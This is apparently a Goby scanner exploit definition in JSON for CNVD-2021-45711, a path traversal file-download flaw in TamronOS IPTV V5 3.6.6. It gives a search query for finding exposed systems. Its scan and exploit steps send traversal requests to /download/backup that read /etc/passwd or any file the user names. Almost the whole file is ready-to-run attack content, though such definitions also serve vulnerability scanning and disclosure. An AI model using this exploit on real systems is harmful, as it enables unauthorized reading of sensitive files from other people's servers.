{
      "Name": "TamronOS IPTV system Filedownload CNVD-2021-45711",
      "Level": "3",
      "Tags": [
            "filedownload"
      ],
      "GobyQuery": "title=\"TamronOS IPTV系统\"",
      "Description": "TamronOS IPTV system is a set of live and on-demand system solutions for broadband operators, hotels, schools and other high-traffic scenarios.",
      "Product": "TamronOS IPTV V5 3.6.6",
      "Homepage": "http://www.tamronos.com/",
      "Author": "",
      "Impact": "An arbitrary file download vulnerability exists in the background of the TamronOS IPTV V5 3.6.6 system, and attackers can exploit this vulnerability to obtain sensitive information.",
      "Recommendation": "",
      "References": [
            "https://www.cnvd.org.cn/flaw/show/CNVD-2021-45711"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "file",
                  "Type": "input",
                  "Value": "../../../etc/passwd"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/download/backup?name=../../../../../../../../etc/passwd",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/download/backup?name={{{file}}}",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}